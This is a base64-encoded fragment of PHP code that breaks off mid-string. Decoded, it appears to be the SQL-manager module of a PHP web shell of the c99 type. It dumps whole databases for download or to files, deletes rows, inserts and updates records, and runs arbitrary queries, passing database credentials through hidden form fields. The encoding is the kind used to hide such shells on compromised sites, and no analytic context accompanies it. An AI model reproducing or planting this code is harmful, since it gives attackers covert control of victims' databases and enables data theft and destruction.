ZWxzZWlmICgkc3FsX2FjdCA9PSAidGJscmVwYWlyIikgeyRzcWxfcXVlcnkgPSAiUkVQQUlSIFRBQkxFIjsgZm9yZWFjaCgkYm94dGJsIGFzICR2KSB7JHNxbF9xdWVyeSAuPSAiXG5gIi4kdi4iYCAsIjt9ICRzcWxfcXVlcnkgPSBzdWJzdHIoJHNxbF9xdWVyeSwwLC0xKS4iOyI7ICRzcWxfYWN0ID0gInF1ZXJ5Ijt9IAogICBlbHNlaWYgKCRzcWxfYWN0ID09ICJ0YmxhbmFseXplIikgeyRzcWxfcXVlcnkgPSAiQU5BTFlaRSBUQUJMRSI7IGZvcmVhY2goJGJveHRibCBhcyAkdikgeyRzcWxfcXVlcnkgLj0gIlxuYCIuJHYuImAgLCI7fSAkc3FsX3F1ZXJ5ID0gc3Vic3RyKCRzcWxfcXVlcnksMCwtMSkuIjsiOyAkc3FsX2FjdCA9ICJxdWVyeSI7fSAKICAgZWxzZWlmICgkc3FsX2FjdCA9PSAiZGVsZXRlcm93IikgeyRzcWxfcXVlcnkgPSAiIjsgaWYgKCFlbXB0eSgkYm94cm93X2FsbCkpIHskc3FsX3F1ZXJ5ID0gIkRFTEVURSAqIEZST00gYCIuJHNxbF90YmwuImA7Ijt9IGVsc2Uge2ZvcmVhY2goJGJveHJvdyBhcyAkdikgeyRzcWxfcXVlcnkgLj0gIkRFTEVURSAqIEZST00gYCIuJHNxbF90YmwuImAgV0hFUkUiLiR2LiIgTElNSVQgMTtcbiI7fSAkc3FsX3F1ZXJ5ID0gc3Vic3RyKCRzcWxfcXVlcnksMCwtMSk7fSAkc3FsX2FjdCA9ICJxdWVyeSI7fSAKICAgZWxzZWlmICgkc3FsX3RibF9hY3QgPT0gImluc2VydCIpIAogICB7IAogICAgaWYgKCRzcWxfdGJsX2luc2VydF9yYWRpbyA9PSAxKSAKICAgIHsgCiAgICAgJGtleXMgPSAiIjsgCiAgICAgJGFrZXlzID0gYXJyYXlfa2V5cygkc3FsX3RibF9pbnNlcnQpOyAKICAgICBmb3JlYWNoICgkYWtleXMgYXMgJHYpIHska2V5cyAuPSAiYCIuYWRkc2xhc2hlcygkdikuImAsICI7fSAKaWYgKCFlbXB0eSgka2V5cykpIHska2V5cyA9IHN1YnN0cigka2V5cywwLHN0cmxlbigka2V5cyktMik7fSAKJHZhbHVlcyA9ICIiOyAKJGkgPSAwOyAKZm9yZWFjaCAoYXJyYXlfdmFsdWVzKCRzcWxfdGJsX2luc2VydCkgYXMgJHYpIHtpZiAoJGZ1bmN0ID0gJHNxbF90YmxfaW5zZXJ0X2Z1bmN0c1skYWtleXNbJGldXSkgeyR2YWx1ZXMgLj0gJGZ1bmN0LiIgKCI7fSAkdmFsdWVzIC49ICInIi5hZGRzbGFzaGVzKCR2KS4iJyI7IGlmICgkZnVuY3QpIHskdmFsdWVzIC49ICIpIjt9ICR2YWx1ZXMgLj0gIiwgIjsgJGkrKzt9IAoJaWYgKCFlbXB0eSgkdmFsdWVzKSkgeyR2YWx1ZXMgPSBzdWJzdHIoJHZhbHVlcywwLHN0cmxlbigkdmFsdWVzKS0yKTt9IAoJJHNxbF9xdWVyeSA9ICJJTlNFUlQgSU5UTyBgIi4kc3FsX3RibC4iYCAoICIuJGtleXMuIiApIFZBTFVFUyAoICIuJHZhbHVlcy4iICk7IjsgCgkkc3FsX2FjdCA9ICJxdWVyeSI7IAogCSRzcWxfdGJsX2FjdCA9ICJicm93c2UiOyAKCX0gZWxzZWlmICgkc3FsX3RibF9pbnNlcnRfcmFkaW8gPT0gMikgeyAKCSRzZXQgPSBteXNxbF9idWlsZHdoZXJlKCRzcWxfdGJsX2luc2VydCwiLCAiLCRzcWxfdGJsX2luc2VydF9mdW5jdHMpOyAKCSRzcWxfcXVlcnkgPSAiVVBEQVRFIGAiLiRzcWxfdGJsLiJgIFNFVCAiLiRzZXQuIiBXSEVSRSAiLiRzcWxfdGJsX2luc2VydF9xLiIgTElNSVQgMTsiOyAKCSRyZXN1bHQgPSBteXNxbF9xdWVyeSgkc3FsX3F1ZXJ5KSBvciBwcmludChteXNxbF9zbWFydGVycm9yKCkpOyAKCSRyZXN1bHQgPSBteXNxbF9mZXRjaF9hcnJheSgkcmVzdWx0LCBNWVNRTF9BU1NPQyk7IAoJJHNxbF9hY3QgPSAicXVlcnkiOyAKCSRzcWxfdGJsX2FjdCA9ICJicm93c2UiOyAKIH0gCn0gCmlmICgkc3FsX2FjdCA9PSAicXVlcnkiKSAKeyAKZWNobyAiPGhyIHNpemU9XCIxXCIgbm9zaGFkZT4iOyAKaWYgKCgkc3VibWl0KSBhbmQgKCEkc3FsX3F1ZXJ5X3Jlc3VsdCkgYW5kICgkc3FsX2NvbmZpcm0pKSB7aWYgKCEkc3FsX3F1ZXJ5X2Vycm9yKSB7JHNxbF9xdWVyeV9lcnJvciA9ICJRdWVyeSB3YXMgZW1wdHkiO30gZWNobyAiRXJyb3I6IDxicj4iLiRzcWxfcXVlcnlfZXJyb3IuIjxicj4iO30gCmlmICgkc3FsX3F1ZXJ5X3Jlc3VsdCBvciAoISRzcWxfY29uZmlybSkpIHskc3FsX2FjdCA9ICRzcWxfZ290bzt9IAppZiAoKCEkc3VibWl0KSBvciAoJHNxbF9hY3QpKSB7ZWNobyAiPHRhYmxlIGJvcmRlcj1cIjBcIiB3aWR0aD1cIjEwMCVcIiBoZWlnaHQ9XCIxXCI+PHRyPjx0ZD48Zm9ybSBhY3Rpb249XCIiLiRzcWxfc3VybC4iXCIgbWV0aG9kPVwiUE9TVFwiPiI7IGlmICgoJHNxbF9xdWVyeSkgYW5kICghJHN1Ym1pdCkpIHtlY2hvICJEbyB5b3UgcmVhbGx5IHdhbnQgdG86Ijt9IGVsc2Uge2VjaG8gIlNRTC1RdWVyeSA6Ijt9IGVjaG8gIjxicj48YnI+PHRleHRhcmVhIG5hbWU9XCJzcWxfcXVlcnlcIiBjb2xzPVwiMTAwXCIgcm93cz1cIjEwXCI+Ii5odG1sc3BlY2lhbGNoYXJzKCRzcWxfcXVlcnkpLiI8L3RleHRhcmVhPjxicj48YnI+PGlucHV0IHR5cGU9XCJoaWRkZW5cIiBuYW1lPVwic3FsX2FjdFwiIHZhbHVlPVwicXVlcnlcIj48aW5wdXQgdHlwZT1cImhpZGRlblwiIG5hbWU9XCJzcWxfdGJsXCIgdmFsdWU9XCIiLmh0bWxzcGVjaWFsY2hhcnMoJHNxbF90YmwpLiJcIj48aW5wdXQgdHlwZT1cImhpZGRlblwiIG5hbWU9XCJzdWJtaXRcIiB2YWx1ZT1cIjFcIj48aW5wdXQgdHlwZT1cImhpZGRlblwiIG5hbWU9XCJzcWxfZ290b1wiIHZhbHVlPVwiIi5odG1sc3BlY2lhbGNoYXJzKCRzcWxfZ290bykuIlwiPjxpbnB1dCB0eXBlPVwic3VibWl0XCIgbmFtZT1cInNxbF9jb25maXJtXCIgdmFsdWU9XCJZZXNcIj4mbmJzcDs8aW5wdXQgdHlwZT1cInN1Ym1pdFwiIHZhbHVlPVwiTm9cIj48L2Zvcm0+PC90ZD48L3RyPjwvdGFibGU+Ijt9IAp9IAppZiAoaW5fYXJyYXkoJHNxbF9hY3QsJGFjdHMpKSAKeyAKPz48dGFibGUgYm9yZGVyPSIwIiB3aWR0aD0iMTAwJSIgaGVpZ2h0PSIxIj48dHI+PHRkIHdpZHRoPSIzMCUiIGhlaWdodD0iMSI+Q3JlYXRlIG5ldyB0YWJsZTo8Zm9ybSBhY3Rpb249Ijw/cGhwIGVjaG8gJHN1cmw7ID8+Ij48aW5wdXQgdHlwZT0iaGlkZGVuIiBuYW1lPSJhY3QiIHZhbHVlPSJzcWwiPjxpbnB1dCB0eXBlPSJoaWRkZW4iIG5hbWU9InNxbF9hY3QiIHZhbHVlPSJuZXd0YmwiPjxpbnB1dCB0eXBlPSJoaWRkZW4iIG5hbWU9InNxbF9kYiIgdmFsdWU9Ijw/cGhwIGVjaG8gaHRtbHNwZWNpYWxjaGFycygkc3FsX2RiKTsgPz4iPjxpbnB1dCB0eXBlPSJoaWRkZW4iIG5hbWU9InNxbF9sb2dpbiIgdmFsdWU9Ijw/cGhwIGVjaG8gaHRtbHNwZWNpYWxjaGFycygkc3FsX2xvZ2luKTsgPz4iPjxpbnB1dCB0eXBlPSJoaWRkZW4iIG5hbWU9InNxbF9wYXNzd2QiIHZhbHVlPSI8P3BocCBlY2hvIGh0bWxzcGVjaWFsY2hhcnMoJHNxbF9wYXNzd2QpOyA/PiI+PGlucHV0IHR5cGU9ImhpZGRlbiIgbmFtZT0ic3FsX3NlcnZlciIgdmFsdWU9Ijw/cGhwIGVjaG8gaHRtbHNwZWNpYWxjaGFycygkc3FsX3NlcnZlcik7ID8+Ij48aW5wdXQgdHlwZT0iaGlkZGVuIiBuYW1lPSJzcWxfcG9ydCIgdmFsdWU9Ijw/cGhwIGVjaG8gaHRtbHNwZWNpYWxjaGFycygkc3FsX3BvcnQpOyA/PiI+PGlucHV0IHR5cGU9InRleHQiIG5hbWU9InNxbF9uZXd0YmwiIHNpemU9IjIwIj4mbmJzcDs8aW5wdXQgdHlwZT0ic3VibWl0IiB2YWx1ZT0iQ3JlYXRlIj48L2Zvcm0+PC90ZD48dGQgd2lkdGg9IjMwJSIgaGVpZ2h0PSIxIj5EdW1wIERCOjxmb3JtIGFjdGlvbj0iPD9waHAgZWNobyAkc3VybDsgPz4iPjxpbnB1dCB0eXBlPSJoaWRkZW4iIG5hbWU9ImFjdCIgdmFsdWU9InNxbCI+PGlucHV0IHR5cGU9ImhpZGRlbiIgbmFtZT0ic3FsX2FjdCIgdmFsdWU9ImR1bXAiPjxpbnB1dCB0eXBlPSJoaWRkZW4iIG5hbWU9InNxbF9kYiIgdmFsdWU9Ijw/cGhwIGVjaG8gaHRtbHNwZWNpYWxjaGFycygkc3FsX2RiKTsgPz4iPjxpbnB1dCB0eXBlPSJoaWRkZW4iIG5hbWU9InNxbF9sb2dpbiIgdmFsdWU9Ijw/cGhwIGVjaG8gaHRtbHNwZWNpYWxjaGFycygkc3FsX2xvZ2luKTsgPz4iPjxpbnB1dCB0eXBlPSJoaWRkZW4iIG5hbWU9InNxbF9wYXNzd2QiIHZhbHVlPSI8P3BocCBlY2hvIGh0bWxzcGVjaWFsY2hhcnMoJHNxbF9wYXNzd2QpOyA/PiI+PGlucHV0IHR5cGU9ImhpZGRlbiIgbmFtZT0ic3FsX3NlcnZlciIgdmFsdWU9Ijw/cGhwIGVjaG8gaHRtbHNwZWNpYWxjaGFycygkc3FsX3NlcnZlcik7ID8+Ij48aW5wdXQgdHlwZT0iaGlkZGVuIiBuYW1lPSJzcWxfcG9ydCIgdmFsdWU9Ijw/cGhwIGVjaG8gaHRtbHNwZWNpYWxjaGFycygkc3FsX3BvcnQpOyA/PiI+PGlucHV0IHR5cGU9InRleHQiIG5hbWU9ImR1bXBfZmlsZSIgc2l6ZT0iMzAiIHZhbHVlPSI8P3BocCBlY2hvICJkdW1wXyIuZ2V0ZW52KCJTRVJWRVJfTkFNRSIpLiJfIi4kc3FsX2RiLiJfIi5kYXRlKCJkLW0tWS1ILWktcyIpLiIuc3FsIjsgPz4iPiZuYnNwOzxpbnB1dCB0eXBlPSJzdWJtaXQiIG5hbWU9XCJzdWJtaXRcIiB2YWx1ZT0iRHVtcCI+PC9mb3JtPjwvdGQ+PHRkIHdpZHRoPSIzMCUiIGhlaWdodD0iMSI+PC90ZD48L3RyPjx0cj48dGQgd2lkdGg9IjMwJSIgaGVpZ2h0PSIxIj48L3RkPjx0ZCB3aWR0aD0iMzAlIiBoZWlnaHQ9IjEiPjwvdGQ+PHRkIHdpZHRoPSIzMCUiIGhlaWdodD0iMSI+PC90ZD48L3RyPjwvdGFibGU+PD9waHAgCglpZiAoIWVtcHR5KCRzcWxfYWN0KSkge2VjaG8gIjxociBzaXplPVwiMVwiIG5vc2hhZGU+Ijt9IAoJaWYgKCRzcWxfYWN0ID09ICJuZXd0YmwiKSAKCXsgCgllY2hvICIiOyAKCWlmICgobXlzcWxfY3JlYXRlX2RiICgkc3FsX25ld2RiKSkgYW5kICghZW1wdHkoJHNxbF9uZXdkYikpKSB7ZWNobyAiREIgXCIiLmh0bWxzcGVjaWFsY2hhcnMoJHNxbF9uZXdkYikuIlwiIGhhcyBiZWVuIGNyZWF0ZWQgd2l0aCBzdWNjZXNzITxicj4iOyAKCX0gZWxzZSB7CgllY2hvICJDYW4ndCBjcmVhdGUgREIgXCIiLmh0bWxzcGVjaWFsY2hhcnMoJHNxbF9uZXdkYikuIlwiLjxicj5SZWFzb246ICIubXlzcWxfc21hcnRlcnJvcigpO30gCgl9IAoJZWxzZWlmICgkc3FsX2FjdCA9PSAiZHVtcCIpIAoJeyAKCWlmIChlbXB0eSgkc3VibWl0KSkgCgl7IAoJJGRpcGxheSA9IEZBTFNFOyAKCWVjaG8gIjxmb3JtIG1ldGhvZD1cIkdFVFwiPjxpbnB1dCB0eXBlPVwiaGlkZGVuXCIgbmFtZT1cImFjdFwiIHZhbHVlPVwic3FsXCI+PGlucHV0IHR5cGU9XCJoaWRkZW5cIiBuYW1lPVwic3FsX2FjdFwiIHZhbHVlPVwiZHVtcFwiPjxpbnB1dCB0eXBlPVwiaGlkZGVuXCIgbmFtZT1cInNxbF9kYlwiIHZhbHVlPVwiIi5odG1sc3BlY2lhbGNoYXJzKCRzcWxfZGIpLiJcIj48aW5wdXQgdHlwZT1cImhpZGRlblwiIG5hbWU9XCJzcWxfbG9naW5cIiB2YWx1ZT1cIiIuaHRtbHNwZWNpYWxjaGFycygkc3FsX2xvZ2luKS4iXCI+PGlucHV0IHR5cGU9XCJoaWRkZW5cIiBuYW1lPVwic3FsX3Bhc3N3ZFwiIHZhbHVlPVwiIi5odG1sc3BlY2lhbGNoYXJzKCRzcWxfcGFzc3dkKS4iXCI+PGlucHV0IHR5cGU9XCJoaWRkZW5cIiBuYW1lPVwic3FsX3NlcnZlclwiIHZhbHVlPVwiIi5odG1sc3BlY2lhbGNoYXJzKCRzcWxfc2VydmVyKS4iXCI+PGlucHV0IHR5cGU9XCJoaWRkZW5cIiBuYW1lPVwic3FsX3BvcnRcIiB2YWx1ZT1cIiIuaHRtbHNwZWNpYWxjaGFycygkc3FsX3BvcnQpLiJcIj48aW5wdXQgdHlwZT1cImhpZGRlblwiIG5hbWU9XCJzcWxfdGJsXCIgdmFsdWU9XCIiLmh0bWxzcGVjaWFsY2hhcnMoJHNxbF90YmwpLiJcIj5TUUwtRHVtcDo8YnI+PGJyPiI7IAoJZWNobyAiREI6Jm5ic3A7PGlucHV0IHR5cGU9XCJ0ZXh0XCIgbmFtZT1cInNxbF9kYlwiIHZhbHVlPVwiIi51cmxlbmNvZGUoJHNxbF9kYikuIlwiPjxicj48YnI+IjsgCgkkdiA9IGpvaW4gKCI7IiwkZG1wdGJscyk7IAoJZWNobyAiT25seSB0YWJsZXMgKGV4cGxvZGUgXCI7XCIpJm5ic3A7PHN1cD4xPC9zdXA+OiZuYnNwOzxpbnB1dCB0eXBlPVwidGV4dFwiIG5hbWU9XCJkbXB0YmxzXCIgdmFsdWU9XCIiLmh0bWxzcGVjaWFsY2hhcnMoJHYpLiJcIiBzaXplPVwiIi4oc3RybGVuKCR2KSs1KS4iXCI+PGJyPjxicj4iOyAKCWlmICgkZHVtcF9maWxlKSB7JHRtcCA9ICRkdW1wX2ZpbGU7fSAKCWVsc2UgeyR0bXAgPSBodG1sc3BlY2lhbGNoYXJzKCIuL2R1bXBfIi5nZXRlbnYoIlNFUlZFUl9OQU1FIikuIl8iLiRzcWxfZGIuIl8iLmRhdGUoImQtbS1ZLUgtaS1zIikuIi5zcWwiKTt9IAoJZWNobyAiRmlsZTombmJzcDs8aW5wdXQgdHlwZT1cInRleHRcIiBuYW1lPVwic3FsX2R1bXBfZmlsZVwiIHZhbHVlPVwiIi4kdG1wLiJcIiBzaXplPVwiIi4oc3RybGVuKCR0bXApK3N0cmxlbigkdG1wKSAlIDMwKS4iXCI+PGJyPjxicj4iOyAKCWVjaG8gIkRvd25sb2FkOiAmbmJzcDs8aW5wdXQgdHlwZT1cImNoZWNrYm94XCIgbmFtZT1cInNxbF9kdW1wX2Rvd25sb2FkXCIgdmFsdWU9XCIxXCIgY2hlY2tlZD48YnI+PGJyPiI7IAoJZWNobyAiU2F2ZSB0byBmaWxlOiAmbmJzcDs8aW5wdXQgdHlwZT1cImNoZWNrYm94XCIgbmFtZT1cInNxbF9kdW1wX3NhdmV0b2ZpbGVcIiB2YWx1ZT1cIjFcIiBjaGVja2VkPiI7IAoJZWNobyAiPGJyPjxicj48aW5wdXQgdHlwZT1cInN1Ym1pdFwiIG5hbWU9XCJzdWJtaXRcIiB2YWx1ZT1cIkR1bXBcIj48YnI+PGJyPjxzdXA+MTwvc3VwPiAtIGFsbCwgaWYgZW1wdHkiOyAKCWVjaG8gIjwvZm9ybT4iOyAKCX0gZWxzZSB7IAoJJGRpcGxheSA9IFRSVUU7IAoJJHNldCA9IGFycmF5KCk7IAoJJHNldFsic29jayJdID0gJHNxbF9zb2NrOyAKCSRzZXRbImRiIl0gPSAkc3FsX2RiOyAKCSRkdW1wX291dCA9ICJkb3dubG9hZCI7IAoJJHNldFsicHJpbnQiXSA9IDA7IAoJJHNldFsibmwyYnIiXSA9IDA7IAoJJHNldFsiIl0gPSAwOyAKCSRzZXRbImZpbGUiXSA9ICRkdW1wX2ZpbGU7IAoJJHNldFsiYWRkX2Ryb3AiXSA9IFRSVUU7IAoJJHNldFsib25seXRhYnMiXSA9IGFycmF5KCk7IAoJaWYgKCFlbXB0eSgkZG1wdGJscykpIHskc2V0WyJvbmx5dGFicyJdID0gZXhwbG9kZSgiOyIsJGRtcHRibHMpO30gCgkkcmV0ID0gbXlzcWxfZHVtcCgkc2V0KTsgCglpZiAoJHNxbF9kdW1wX2Rvd25sb2FkKSAKCXsgCglAb2JfY2xlYW4oKTsgCgloZWFkZXIoIkNvbnRlbnQtdHlwZTogYXBwbGljYXRpb24vb2N0ZXQtc3RyZWFtIik7IAoJaGVhZGVyKCJDb250ZW50LWxlbmd0aDogIi5zdHJsZW4oJHJldCkpOyAKCWhlYWRlcigiQ29udGVudC1kaXNwb3NpdGlvbjogYXR0YWNobWVudDsgZmlsZW5hbWU9XCIiLmJhc2VuYW1lKCRzcWxfZHVtcF9maWxlKS4iXCI7Iik7IAoJZWNobyAkcmV0OyAKCWV4aXQ7IAoJfSAKCWVsc2VpZiAoJHNxbF9kdW1wX3NhdmV0b2ZpbGUpIAoJeyAKCSRmcCA9IGZvcGVuKCRzcWxfZHVtcF9maWxlLCJ3Iik7IAoJaWYgKCEkZnApIHtlY2hvICJEdW1wIGVycm9yISBDYW4ndCB3cml0ZSB0byBcIiIuaHRtbHNwZWNpYWxjaGFycygkc3FsX2R1bXBfZmlsZSkuIlwiISI7Cgl9IGVsc2UgeyAKCWZ3cml0ZSgkZnAsJHJldCk7IAoJZmNsb3NlKCRmcCk7IAoJZWNobyAiRHVtcGVkISBEdW1wIGhhcyBiZWVuIHdyaXRlZCB0byBcIiIuaHRtbHNwZWNpYWxjaGFycyhyZWFscGF0aCgkc3FsX2R1bXBfZmlsZSkpLiJcIiAoIi52aWV3X3NpemUoZmlsZXNpemUoJHNxbF9kdW1wX2ZpbGUpKS4iKS4iOyB9IAoJfSBlbHNlIHsKCWVjaG8gIkR1bXA6IG5vdGhpbmcgdG8gZG8hIjt9IAoJfSAKICAgfSAKICAgaWYgKCRkaXBsYXkpIAogICB7IAogICAgaWYgKCFlbXB0eSgkc3FsX3RibCkpIAogICAgeyAKICAgICBpZiAoZW1wdHkoJHNxbF90YmxfYWN0KSkgeyRzcWxfdGJsX2FjdCA9ICJicm93c2UiO30gCiAgICAgJGNvdW50ID0gbXlzcWxfcXVlcnkoIlNFTEVDVCBDT1VOVCgqKSBGUk9NIGAiLiRzcWxfdGJsLiJgOyIpOyAKICAgICAkY291bnRfcm93ID0gbXlzcWxfZmV0Y2hfYXJyYXkoJGNvdW50KTsgCiAgICAgbXlzcWxfZnJlZV9yZXN1bHQoJGNvdW50KTsgCiAgICAgJHRibF9zdHJ1Y3RfcmVzdWx0ID0gbXlzcWxfcXVlcnkoIlNIT1cgRklFTERTIEZST00gYCIuJHNxbF90YmwuImA7Iik7IAogICAgICR0Ymxfc3RydWN0X2ZpZWxkcyA9IGFycmF5KCk7IAogICAgIHdoaWxlICgkcm93ID0gbXlzcWxfZmV0Y2hfYXNzb2MoJHRibF9zdHJ1Y3RfcmVzdWx0KSkgeyR0Ymxfc3RydWN0X2ZpZWxkc1tdID0gJHJvdzt9IAogICAgIGlmICgkc3FsX2xzID4gJHNxbF9sZSkgeyRzcWxfbGUgPSAkc3FsX2xzICsgJHBlcnBhZ2U7fSAKICAgICBpZiAoZW1wdHkoJHNxbF90YmxfcGFnZSkpIHskc3FsX3RibF9wYWdlID0gMDt9IAogICAgIGlmIChlbXB0eSgkc3FsX3RibF9scykpIHskc3FsX3RibF9scyA9IDA7fSAKICAgICBpZiAoZW1wdHkoJHNxbF90YmxfbGUpKSB7JHNxbF90YmxfbGUgPSAzMDt9IAoJJHBlcnBhZ2UgPSAkc3FsX3RibF9sZSAtICRzcWxfdGJsX2xzOyAKCWlmICghaXNfbnVtZXJpYygkcGVycGFnZSkpIHskcGVycGFnZSA9IDEwO30gCgkkbnVtcGFnZXMgPSAkY291bnRfcm93WzBdLyRwZXJwYWdlOyAKCSRlID0gZXhwbG9kZSgiICIsJHNxbF9vcmRlcik7IAoJaWYgKGNvdW50KCRlKSA9PSAyKSAKCXsKCWlmICgkZVswXSA9PSAiZCIpIHskYXNjX2Rlc2MgPSAiREVTQyI7Cgl9IGVsc2UgewoJJGFzY19kZXNjID0gIkFTQyI7fSAKCSR2ID0gIk9SREVSIEJZIGAiLiRlWzFdLiJgICIuJGFzY19kZXNjLiIgIjsgfSBlbHNlIHsKCSR2ID0gIiI7fSAKICAgICAkcXVlcnkgPSAiU0VMRUNUICogRlJPTSBgIi4kc3FsX3RibC4iYCAiLiR2LiJMSU1JVCAiLiRzcWxfdGJsX2xzLiIgLCAiLiRwZXJwYWdlLiIiOyAKICAgICAkcmVzdWx0ID0gbXlzcWxfcXVlcnkoJHF1ZXJ5KSBvciBwcmludChteXNxbF9zbWFydGVycm9yKCkpOyAKICAgICBlY2hvICI8aHIgc2l6ZT1cIjFcIiBub3NoYWRlPjxjZW50ZXI+VGFibGUgIi5odG1sc3BlY2lhbGNoYXJzKCRzcWxfdGJsKS4iICgiLm15c3FsX251bV9maWVsZHMoJHJlc3VsdCkuIiBjb2xzIGFuZCAiLiRjb3VudF9yb3dbMF0uIiByb3dzKTwvY2VudGVyPiI7IAogICAgIGVjaG8gIjxhIGhyZWY9XCIiLiRzcWxfc3VybC4ic3FsX3RibD0iLnVybGVuY29kZSgkc3FsX3RibCkuIiZzcWxfdGJsX2FjdD1zdHJ1Y3R1cmVcIj5bJm5ic3A7U3RydWN0dXJlJm5ic3A7XTwvYT4mbmJzcDsmbmJzcDsmbmJzcDsiOyAKICAgICBlY2hvICI8YSBocmVmPVwiIi4kc3FsX3N1cmwuInNxbF90Ymw9Ii51cmxlbmNvZGUoJHNxbF90YmwpLiImc3FsX3RibF9hY3Q9YnJvd3NlXCI+WyZuYnNwO0Jyb3dzZSZuYnNwO108L2E+Jm5ic3A7Jm5ic3A7Jm5ic3A7IjsgCiAgICAgZWNobyAiPGEgaHJlZj1cIiIuJHNxbF9zdXJsLiJzcWxfdGJsPSIudXJsZW5jb2RlKCRzcWxfdGJsKS4iJnNxbF9hY3Q9dGJsZHVtcCZ0aGlzdGJsPTFcIj5bJm5ic3A7RHVtcCZuYnNwO108L2E+Jm5ic3A7Jm5ic3A7Jm5ic3A7IjsgCiAgICAgZWNobyAiPGEgaHJlZj1cIiIuJHNxbF9zdXJsLiJzcWxfdGJsPSIudXJsZW5jb2RlKCRzcWxfdGJsKS4iJnNxbF90YmxfYWN0PWluc2VydFwiPlsmbmJzcDtJbnNlcnQmbmJzcDtdPC9hPiZuYnNwOyZuYnNwOyZuYnNwOyI7IAogICAgIGlmICgkc3FsX3RibF9hY3QgPT0gInN0cnVjdHVyZSIpIHtlY2hvICI8YnI+PGJyPkNvbWluZyBzb29vbiEiO30gCiAgICAgaWYgKCRzcWxfdGJsX2FjdCA9PSAiaW5zZXJ0IikgCiAgICAgeyAKCWlmICghaXNfYXJyYXkoJHNxbF90YmxfaW5zZXJ0KSkgeyRzcWxfdGJsX2luc2VydCA9IGFycmF5KCk7fSAKCWlmICghZW1wdHkoJHNxbF90YmxfaW5zZXJ0X3JhZGlvKSkgewoJfSBlbHNlIHsgCgllY2hvICI8YnI+PGJyPkluc2VydGluZyByb3cgaW50byB0YWJsZTo8YnI+IjsgCglpZiAoIWVtcHR5KCRzcWxfdGJsX2luc2VydF9xKSkgCgl7IAogICAgICAgICRzcWxfcXVlcnkgPSAiU0VMRUNUICogRlJPTSBgIi4kc3FsX3RibC4iYCI7IAogICAgICAgICRzcWxfcXVlcnkgLj0gIiBXSEVSRSIuJHNxbF90YmxfaW5zZXJ0X3E7IAogICAgICAgICRzcWxfcXVlcnkgLj0gIiBMSU1JVCAxOyI7IAogICAgICAgICRyZXN1bHQgPSBteXNxbF9xdWVyeSgkc3FsX3F1ZXJ5LCRzcWxfc29jaykgb3IgcHJpbnQoIjxicj48YnI+Ii5teXNxbF9zbWFydGVycm9yKCkpOyAKICAgICAgICAkdmFsdWVzID0gbXlzcWxfZmV0Y2hfYXNzb2MoJHJlc3VsdCk7IAogICAgICAgIG15c3FsX2ZyZWVfcmVzdWx0KCRyZXN1bHQpO30gZWxzZSB7CgkkdmFsdWVzID0gYXJyYXkoKTt9IAoJZWNobyAiPGZvcm0gbWV0aG9kPVwiUE9TVFwiPjxUQUJMRSBjZWxsU3BhY2luZz0wIGJvcmRlckNvbG9yRGFyaz0jOTkwMDAwIGNlbGxQYWRkaW5nPTUgd2lkdGg9XCIxJVwiIGJnY29sb3I9dHJhbnNwYXJlbnQgYm9yZGVyQ29sb3JMaWdodD0jYzBjMGMwIGJvcmRlcj0xPjx0cj48dGQ+RmllbGQ8L3RkPjx0ZD5UeXBlPC90ZD48dGQ+RnVuY3Rpb248L3RkPjx0ZD5WYWx1ZTwvdGQ+PC90cj4iOyAKICAgICAgIGZvcmVhY2ggKCR0Ymxfc3RydWN0X2ZpZWxkcyBhcyAkZmllbGQpIAogICAgICAgeyAKICAgICAgICAkbmFtZSA9ICRmaWVsZFsiRmllbGQiXTsgCiAgICAgICAgaWYgKGVtcHR5KCRzcWxfdGJsX2luc2VydF9xKSkgeyR2ID0gIiI7fSAKICAgICAgICBlY2hvICI8dHI+PHRkPiIuaHRtbHNwZWNpYWxjaGFycygkbmFtZSkuIjwvdGQ+PHRkPiIuJGZpZWxkWyJUeXBlIl0uIjwvdGQ+PHRkPjxzZWxlY3QgbmFtZT1cInNxbF90YmxfaW5zZXJ0X2Z1bmN0c1siLmh0bWxzcGVjaWFsY2hhcnMoJG5hbWUpLiJdXCI+PG9wdGlvbiB2YWx1ZT1cIlwiPjwvb3B0aW9uPjxvcHRpb24+UEFTU1dPUkQ8L29wdGlvbj48b3B0aW9uPk1ENTwvb3B0aW9uPjxvcHRpb24+RU5DUllQVDwvb3B0aW9uPjxvcHRpb24+QVNDSUk8L29wdGlvbj48b3B0aW9uPkNIQVI8L29wdGlvbj48b3B0aW9uPlJBTkQ8L29wdGlvbj48b3B0aW9uPkxBU1RfSU5TRVJUX0lEPC9vcHRpb24+PG9wdGlvbj5DT1VOVDwvb3B0aW9uPjxvcHRpb24+QVZHPC9vcHRpb24+PG9wdGlvbj5TVU08L29wdGlvbj48b3B0aW9uIHZhbHVlPVwiXCI+LS0tLS0tLS08L29wdGlvbj48b3B0aW9uPlNPVU5ERVg8L29wdGlvbj48b3B0aW9uPkxDQVNFPC9vcHRpb24+PG9wdGlvbj5VQ0FTRTwvb3B0aW9uPjxvcHRpb24+Tk9XPC9vcHRpb24+PG9wdGlvbj5DVVJEQVRFPC9vcHRpb24+PG9wdGlvbj5DVVJUSU1FPC9vcHRpb24+PG9wdGlvbj5GUk9NX0RBWVM8L29wdGlvbj48b3B0aW9uPkZST01fVU5JWFRJTUU8L29wdGlvbj48b3B0aW9uPlBFUklPRF9BREQ8L29wdGlvbj48b3B0aW9uPlBFUklPRF9ESUZGPC9vcHRpb24+PG9wdGlvbj5UT19EQVlTPC9vcHRpb24+PG9wdGlvbj5VTklYX1RJTUVTVEFNUDwvb3B0aW9uPjxvcHRpb24+VVNFUjwvb3B0aW9uPjxvcHRpb24+V0VFS0RBWTwvb3B0aW9uPjxvcHRpb24+Q09OQ0FUPC9vcHRpb24+PC9zZWxlY3Q+PC90ZD48dGQ+PGlucHV0IHR5cGU9XCJ0ZXh0XCIgbmFtZT1cInNxbF90YmxfaW5zZXJ0WyIuaHRtbHNwZWNpYWxjaGFycygkbmFtZSkuIl1cIiB2YWx1ZT1cIiIuaHRtbHNwZWNpYWxjaGFycygkdmFsdWVzWyRuYW1lXSkuIlwiIHNpemU9NTA+PC90ZD48L3RyPiI7IAogICAgICAgICRpKys7IAogICAgICAgfSAKICAgICAgIGVjaG8gIjwvdGFibGU+PGJyPiI7IAogICAgICAgZWNobyAiPGlucHV0IHR5cGU9XCJyYWRpb1wiIG5hbWU9XCJzcWxfdGJsX2luc2VydF9yYWRpb1wiIHZhbHVlPVwiMVwiIjsgaWYgKGVtcHR5KCRzcWxfdGJsX2luc2VydF9xKSkge2VjaG8gIiBjaGVja2VkIjt9IGVjaG8gIj5JbnNlcnQgYXMgbmV3IHJvdyI7IAogICAgICAgaWYgKCFlbXB0eSgkc3FsX3RibF9pbn